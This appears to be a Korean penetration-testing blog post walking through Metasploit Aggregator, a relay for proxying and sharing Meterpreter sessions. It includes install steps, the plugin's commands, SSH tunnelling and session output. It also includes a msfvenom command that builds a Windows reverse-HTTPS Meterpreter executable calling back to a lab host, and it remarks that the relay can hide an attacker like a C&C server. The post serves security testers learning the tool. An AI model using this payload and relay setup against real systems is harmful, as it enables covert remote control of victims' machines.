8/17/2017

[METASPLOIT] Metasploit-Aggregator를 이용한 Meterpreter session 관리하기(feat Meterpreter 중계서버)


Metasploit과 Meterpreter는 굉장히 좋은 툴(외계인의 툴 중 하나..?)지만 간간히 불편한점도 존재합니다. 대표적으론 여러 사용자가 세션에 대해 공유할 수 없다는 점과 공격자의 Metasploit에 모든 세션을 담기에는 너무 많아지면 불편해지겠죠. 오늘은 이를 해결할 수 있는 Aggregator에 대한 이야기를 할까 합니다.

사실 이러한 문제를 해결하려고 찾았다기 보단.. 인지만 하고 있는 상태에서 Metasploit Plugin 디렉토리를 보다보니 Aggregator란 첨보는게 있어서 찾다가 이 포스팅이 시작되었네요. 그럼 시작해볼까요.


What is Aggregator?

Aggregator는 Meterpreter 세션에 대한 프록시 툴입니다. 찾다보니 알게되었는데, 올해 나온 기능이였네요.. 아무튼 이 plugin이 활동하는 위치를 보자면 Metasploit과 Meterpreter 사이에서 중계자 역할을 하게됩니다.

그림으로 표현하면 아래와 같습니다.

그리기 넘 귀찮..

Aggregator는 Metasploit과 여러 Meterpreter shell 사이에서 중계 역할을 수행하며 각각 Meterpreter shell의 세션은 Aggregator로 연결됩니다. Aggregator는 세션을 관리하는 기능을 담고 있고 공격자는 Metasploit을 통해 Aggregator로 연결하여 이 세션들을 사용합니다. 직접 Metasploit으로 세션에 연결하는게 아니기 때문에 상황에 따라 공격자의 Metasploit의 주소를 숨기는데도 사용될 수 있겠네요.

사용하기 전에 몇가지 개념을 알아두면 좋습니다.

cable
metasploit의 Exploit handler와 유사한 기능입니다. Aggregator에서 Meterpreter에서 언제든지 접근할 수 있도록 Listen 상태로 Session의 연결을 기다립니다.

parked
cable과 달리 연결 상태는 아니고 aggregator와 meterpreter과 최소한의 통신만을 유지하여 살아있는지 확인만 진행합니다. heartbeet과 같죠.

여러 개념들이 있지만 두가지는 꼭 알아두는게 좋을 것 같습니다.

다른 개념들은 아래 사이트에 내 "Metasploit Aggregator introduces a few new concepts" 부분에 잘 정리되어있습니다. 참고해주세요
https://n0where.net/meterpreter-session-proxy-metasploit-aggregator/

Install Metasploit Aggregator 

설치는 .. 매번 이야기하듯 아주 간단합니다. 심지어 gem으로 포팅되서 더더욱 편리하죠.

#> gem install metasploit-aggregator
Successfully installed metasploit-aggregator-0.2.1
1 gem installed

또는 공식 github를 통해 다운로드 후 설치할 수 있습니다. 물론 어차피 gem이지만요..

#> git clone https://github.com/rapid7/metasploit-aggregator

Using Metasploit Aggregator

일단 gem으로 설치되어서 ruby 코드에서도 부를 수 있지만 command line 명령으로도 제공됩니다.

#> metasploit-aggregator
WARN: Unresolved specs during Gem::Specification.reset:
      grpc (>= 0)
      rex-arch (>= 0)
WARN: Clearing out unresolved specs.
Please report a bug if this causes problems.
2017-08-17 21:38:34 +0900 Starting administration service on 127.0.0.1:2447

실행하면 해당 PC에서 기본적으로 2447 포트로 동작하게 됩니다. 이 과정에서 문제 발생하던게 있었느데, 여차저차하니 해결됬습니다. 라이브러리 의존성 문제! (심각한 문젠 아닌거 같아요 위에 WARN나는건)

HAHWUL > load aggregator
[*] Aggregator interaction has been enabled
[*] Successfully loaded plugin: aggregator

일단 실행에 앞서서 명령어 셋을 보면..

Aggregator Commands
===================

    Command                     Description
    -------                     -----------
    aggregator_addresses        List all remote ip addresses available for ingress
    aggregator_cable_add        Setup remote https listener for sessions
    aggregator_cable_remove     Stop remote listener for sessions
    aggregator_cables           List all remote listeners for sessions
    aggregator_connect          Connect to a running Aggregator instance ( host[:port] )
    aggregator_default_forward  forward a unlisted/unhandled sessions to a specified listener
    aggregator_disconnect       Disconnect from an active Aggregator instance
    aggregator_save             Save connection details to an Aggregator instance
    aggregator_session_forward  forward a session to a specified listener
    aggregator_session_park     Park an existing session on the Aggregator instance
    aggregator_sessions         List all remote sessions currently available from the



위에 개념들에 대해 이해되셨다면 한눈에 들어오겠네요.
aggregator 로 연결을 해보면..

HAHWUL > aggregator_connect 127.0.0.1:2447
[*] Connecting to Aggregator instance at 127.0.0.1:2447...
E0817 21:40:03.591233870   25993 uri_parser.c:60]            bad uri.scheme: ''
E0817 21:40:03.591334832   25993 uri_parser.c:66]                             ^ here
E0817 21:40:03.591373079   25993 http_proxy.c:56]            cannot parse value of 'http_proxy' env var

에러가 납니다. 환경 때문인건건지 잘 모르겠네요. github에 가이드 있는대로 ssh 터널링을 해봐도 동일합니다.

일단 rapid7쪽으로 문의는 넣어봤는데, 언제 답이올지 모르겠네요.
https://github.com/rapid7/metasploit-aggregator/issues/10



그럼.. 직접 진행은 어려우니 일단 git에 작성된 내용으로 살펴보겠습니다.

아 먼저 aggregator는 자체적으로 암호화되지 않으니 꼭 SSH 터널링을 사용해줍시다.

localhost : 공격자
192.168.56.101 : aggregator 중계 서버

ssh [로컬IP:로컬포트]:[접근할IP:접근할포트] ssh 접근정보
ssh 4427:192.168.56.101:2447 user@192.168.56.101

※ 로컬은 포트만 적어도 크게 상관이 없죠.
이렇게 세팅한 경우 localhost:4427로 연결해서 aggregator를 사용하시면 됩니다.

HAHWUL > aggregator_connect localhost:4427

다시 git쪽 내용으로 와서..

부럽네요. connect가 잘 되다니..

msf > load aggregator 
[*] Aggregator interaction has been enabled
[*] Successfully loaded plugin: aggregator
msf > aggregator_connect 127.0.0.1:2447
[*] Connecting to Aggregator instance at 127.0.0.1:2447...
msf > 

로드가 완료되면 aggregator 사용이 가능합니다. cable 추가로 8443 포트로 cable을 추가합니다.
※ cable: metasploit의 Exploit handler와 유사한 기능입니다. 위에 제대로 안읽으신건 아니겠지?!
※ default_forward는 포워딩 방식을 지정합니다.

msf > aggregator_cable_add 192.168.1.10:8443
msf > aggregator_default_forward 
msf >

8443 포트로는 meterpreter session이 붙으면 aggregator에 의해 관리됩니다. git 내용에선 msfvenom으로 payload를 실행파일로 만들어서 테스트했네요.

#> msfvenom -p windows/meterpreter_reverse_https LHOST=192.168.1.10 LPORT=8443 -f exe -o launch-stageless.exe

launch-stageless.exe를 실행하면 192.168.1.10의 8443 포트로 meterpreter가 연결하려 할꺼고 연결된 순간 metasploit-aggregator에서 해당 세션을 관리하게 됩니다.

msf > 
[*] Meterpreter session 1 opened (127.0.0.1:53414 -> 127.0.0.1:53519) at 2017-03-06 13:46:23 -0600

그래서 공격자 PC에서 aggregator_sessions로 보면..

msf > aggregator_sessions
[*] Sessions found:
[*] Remote ID: 1
[*]      Type: meterpreter windows
[*]      Info: DESKTOP-KAO0P3O\user @ DESKTOP-NAME
[*]    Tunnel: 192.168.1.10:8443 -> 192.168.1.11:53528
[*]       Via: exploit/multi/handler
[*]      UUID: 8121940d2f5c4b1f/x86=1/windows=0/2016-12-15T22:03:16Z
[*] MachineID: 1e2b16f37eab2324b9089cd93f16533b
[*]   CheckIn: 3s ago
[*] Registered: Not Yet Implemented
[*]   Forward: 50ab485d-dbe3-4045-95c4-c9abd45c1683
[*] Session ID: 1
[*]

이렇게 포워딩된 세션을 볼 수 있죠. aggregator_session_forward 명령, 인자로 session 번호를 넘겨주면 해당 쉘을 가져올 수 있습니다. 가져오는 과정은 metasploit-aggregator 서버와 연결되며 공격자 pc에선 마치 meterpreter shell을 얻은 것 처럼 보이지만 실제론 중계 서버를 이용해서 포워딩 받는 상태가 됩니다.

msf > aggregator_session_forward 1
msf > 
[*] Meterpreter session 2 opened (127.0.0.1:53414 -> 127.0.0.1:54066) at 2017-03-06 13:50:51 -0600

이런 과정들은 암호화되지 않기 때문에 rapid7측에선 ssh 터널링을 꼭 사용하라고 이야기하네요.


라이브러리 관련 정보는 ruby-doc쪽 보면 자세히 나와있으니 활용해서 개발해보시면 좋을 것 같네요 :)

Conclusion

aggregator는 여러명의 공격자(테스터)가 하나의 세션을 같이 사용하고, 중간에 관리해주는 서버(?)를 두기 위해 만든 기능이라고 봅니다. 다만 위에서 말씀드렸듯이 C&C 서버처럼 공격자 자신을 숨기고 Meterpreter와 통신하고 제어할 수 있기 때문에 좀 더 여러 형태의 공격이 가능할거라 생각합니다.

Reference

https://n0where.net/meterpreter-session-proxy-metasploit-aggregator/
http://www.rubydoc.info/gems/metasploit-aggregator/0.1.3
https://github.com/rapid7/metasploit-aggregator


HAHWUL

Security engineer, Gopher and H4cker!

Share: | Coffee Me:

1 comment:

  1. https://github.com/rapid7/metasploit-aggregator/issues/10
    에러 관련해서 참고해주세요.

    ReplyDelete